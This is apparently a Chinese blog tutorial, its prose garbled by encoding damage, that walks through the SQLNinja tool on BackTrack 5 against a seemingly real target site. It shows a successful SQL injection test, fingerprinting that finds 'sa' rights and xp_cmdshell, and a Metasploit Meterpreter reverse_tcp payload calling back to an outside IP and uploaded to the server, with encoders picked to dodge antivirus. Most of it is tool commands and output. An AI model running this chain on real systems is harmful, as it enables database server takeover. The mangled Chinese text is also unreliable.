×î½üÔÚѧϰBackTrack 5ÏÂÉø͸²âÊÔ£¬¸ÕºÃÔÚѧϰSQLMapºÍSQLNinja£¬ÒÔÏÂÊÇSQLNinjaµÄÓ÷¨£¬SQLMapµÄÓ÷¨¼û֮ǰµÄ²©¿Í¡£
[BackTrack=root@perl-exploits:/pentest/database/sqlninja-0.2.3]root@perl-exploits:/pentest/database/sqlninja-0.2.3[/BackTrack]# ./sqlninja -m
Usage: ./sqlninja
-m <mode> : Required. Available modes are:
t/test - test whether the injection is working
f/fingerprint - fingerprint user, xp_cmdshell and more
b/bruteforce - bruteforce sa account
e/escalation - add user to sysadmin server role
x/resurrectxp - try to recreate xp_cmdshell
u/upload - upload a .scr file
s/dirshell - start a direct shell
k/backscan - look for an open outbound port
r/revshell - start a reverse shell
d/dnstunnel - attempt a dns tunneled shell
c/sqlcmd - issue a 'blind' OS command
m/metasploit - wrapper to Metasploit stagers
-f <file> : configuration file (default: sqlninja.conf)
-p <password> : sa password
-w <wordlist> : wordlist to use in bruteforce mode (dictionary method only)
-v : verbose output
-d <mode> : activate debug
1 - print each injected command
2 - print each raw HTTP request
3 - print each raw HTTP response
all - all of the above
...see sqlninja-howto.html for details
ÉÏÃæÕâô¶à²ÎÊý£¬ÎÒÃÇÒ»Ò»½âÊÍ
./sqlninja -m ¼ÓÔØmodle
ÏÂÃæÊÇһЩģ¿é²ÎÊý
-t/test ²âÊÔµ±Ç°Ä£¿éºÍÅäÖÃÎļþÊÇ·ñ¹¤×÷Õý³£
./sqlninja -m test
Sqlninja rel. 0.2.3
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file................
[+] Evasion technique(s):
- query hex-encoding
- comments as separator
- random URI encoding
[+] Checking whether the remote server uses SSL
[+] The remote server does not talk SSL
[+] Target is: www.maimai.xxx
[+] Trying to inject a 'waitfor delay'....
[+] Injection was successful! Let's rock !!
ok,²âÊԳɹ¦£¬±íÃ÷µ±Ç°×¢Éäµã¿ÉÒÔʶ±ð£¬´æÔÚ×¢È멶´¡£
f/fingerprint - fingerprint user, xp_cmdshell and more Õâ¸öÊÇÅжÏÊý¾Ý¿âÀàÐÍ£¬µ±Ç°Óû§£¬xpcmdshellÊÇ·ñ´æÔÚ¿ÉÒÔÓá£
[BackTrack=root@perl-exploits:/pentest/database/sqlninja-0.2.3]root@perl-exploits:/pentest/database/sqlninja-0.2.3[/BackTrack]# ./sqlninja -m fingerprint
Sqlninja rel. 0.2.3
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file................
[+] Evasion technique(s):
- query hex-encoding
- comments as separator
- random URI encoding
[+] Checking whether the remote server uses SSL
[+] The remote server does not talk SSL
[+] Target is: www.maimai.xxx
What do you want to discover ?
0 - Database version (2000/2005)
1 - Database user
2 - Database user rights
3 - Whether xp_cmdshell is working
4 - Whether mixed or Windows-only authentication is used
a - All of the above
h - Print this menu
q - exit
>
0 ¼ì²âµ±Ç°Êý¾Ý¿â°æ±¾
1 µ±Ç°Êý¾Ý¿âÓû§
2 µ±Ç°Êý¾Ý¿âÓû§È¨ÏÞ
3 ¼ì²éxp_cmdshellÊÇ·ñ¿ÉÒÔÓÃ
4 ÊÇ·ñwindows±¾µØϵͳȨÏÞ
a ¼ì²éÉÏÃæËùÓеÄ
hÏÔʾµ±Ç°°ïÖú²Ëµ¥
1 Í˳ö
> a
[+] Checking SQL Server version...
Target: Microsoft SQL Server 2000
[+] Checking whether we are sysadmin...
We seem to be 'sa'
[+] Checking whether xp_cmdshell is available
xp_cmdshell seems to be available
Mixed authentication seems to be used
>
m/metasploit ʹÓÃmetasploitÀïÃæµÄshellcode£¬Õâ¸öĬÈÏÊÇûÓÐÆôÓõģ¬ÐèÒªÐÞ¸Äsqlninja.confÖÐmetasploitÅäÖÃλÖÃÐÞ¸Ä
# Path to metasploit executable. Only needed if msfpayload and
# msfcli are not already in the path
msfpath = /pentest/exploits/framework3/ #È¥µôÇ°ÃæµÄ×¢ÊÍ·ûºÅ£¬ÕâÀïÐ޸ijÉÄãµÄframework3µÄ°²×°Î»ÖÃ
[BackTrack=root@perl-exploits:/pentest/database/sqlninja-0.2.3]root@perl-exploits:/pentest/database/sqlninja-0.2.3[/BackTrack]# ./sqlninja -m metasploit
Sqlninja rel. 0.2.3
Copyright (C) 2006-2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file................
[+] Evasion technique(s):
- query hex-encoding
- comments as separator
- random URI encoding
[+] Checking whether the remote server uses SSL
[+] The remote server does not talk SSL
[+] Target is: www.maimai.xxx
[+] Entering Metasploit module. In order to use this module you need to
have found an available TCP port, either inbound or outbound
[+] Checking Metasploit3 availability....
[+] Which payload you want to use?
1: Meterpreter
2: VNC
>
ÕâÀïÖ´ÐÐmetasploit£¬ÒòΪµ÷ÓÃÁËmetasploitÀïÃæµÄpayload,ÆäÖÐÓÐÁ½ÖÖ·½Ê½£¬Ò»ÖÖÊÇMeterpreter,Ò»ÖÖÊÇvnc·´ÏòÁ´½Ó£¬Èç¹ûÊÇÔÚconsoleÏÂÃæÍƼöʹÓÃMeterpreter,Èç¹ûÊÇÔÚGNOME»òÕßÆäËûÊÓ´°»·¾³ÏÂÍƼöʹÓÃVNC,(ÕâÀïҪ˵һÏ£¬±ØÐëÄã»úÆ÷ÉÏҪװvncserver,¾¹ý²âÊÔ֤ʵ£¬²»ÄÜÕýÈ·µÄµ÷ÓÃmetasploitÀïÃæµÄvncserver)
OK,ÎÒÃÇ°ÑÁ½ÖÖ·½·¨¶¼²âÊÔһϡ£Ê×ÏÈÖ´ÐÐMeterpreter
> 1
[+] Which type of connection you want to use?
1: bind_tcp
2: reverse_tcp
>
ÕâÀïÒªÎÒÃÇÑ¡ÔñÁ¬½Ó·½Ê½£¬1 ÊÇbind_tcp,ÔÚ·þÎñÆ÷ÉÏbindÒ»¸ö¶Ë¿Ú£¬2.reverse_tcp,·´ÏòÁ´½Óµ½±¾µØ¡£¿¼Âǵ½·þÎñÆ÷ÉÏÓзÀ»ðǽ֮ÀàµÄ£¬ÎÒÃÇÒ»°ãÍƼö2£¬µ«ÊÇÈç¹ûÄãûÓÐÍâÍøIP»òÕßÍâÍøVPN£¬ÍƼöʹÓÃbind_tcp
ÕâÀïÎÒÃÇÑ¡Ôñ2
> 2
[+] Enter local port number
> 443
ÕâÀïÐèÒªÎÒÃÇÊäÈëÒ»¸ö±¾µØÒ»¸ö¶Ë¿Ú£¬ÍƼöʹÓÃδ±»Õ¼ÓõĶ˿ڣ¬ÕâÀïÊäÈë443
[+] Choose a payload encoding method
0 - none
1 - Alpha2 Alphanumeric Mixedcase
2 - Alpha2 Alphanumeric Uppercase
3 - Avoid UTF8/tolower
4 - Call+4 Dword XOR
5 - Single-byte XOR Countdown
6 - Variable-length Fnstenv/mov Dword XOR
7 - Polymorphic Jump/Call XOR Additive Feedback
8 - Non-Alpha
9 - Non-Upper
10 - Polymorphic XOR Additive Feedback
11 - Alpha2 Alphanumeric Unicode Mixedcase
12 - Alpha2 Alphanumeric Unicode Uppercase
>
ÕâÀïÒªÄãÊäÈëshellcodeµÄ¼ÓÃÜ·½Ê½£¬Ö÷ÒªÊÇΪÁ˱ÜÃâ±»·þÎñÆ÷ÉϵÄɱ¶¾Èí¼þ²éɱ¡£ÕâÀï¿É¸ù¾Ýʵ¼ÊÌõ¼þÑ¡Ôñ£¬ÎÒÑ¡Ôñ0
[+] Calling msfpayload3 to create the payload...
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 278
Options: exitfunc=process,lport=443,lhost=211.45.123.200
[+] Payload (met50838.exe) created. Now converting it to debug script
[+] Uploading /tmp/met50838.scr debug script............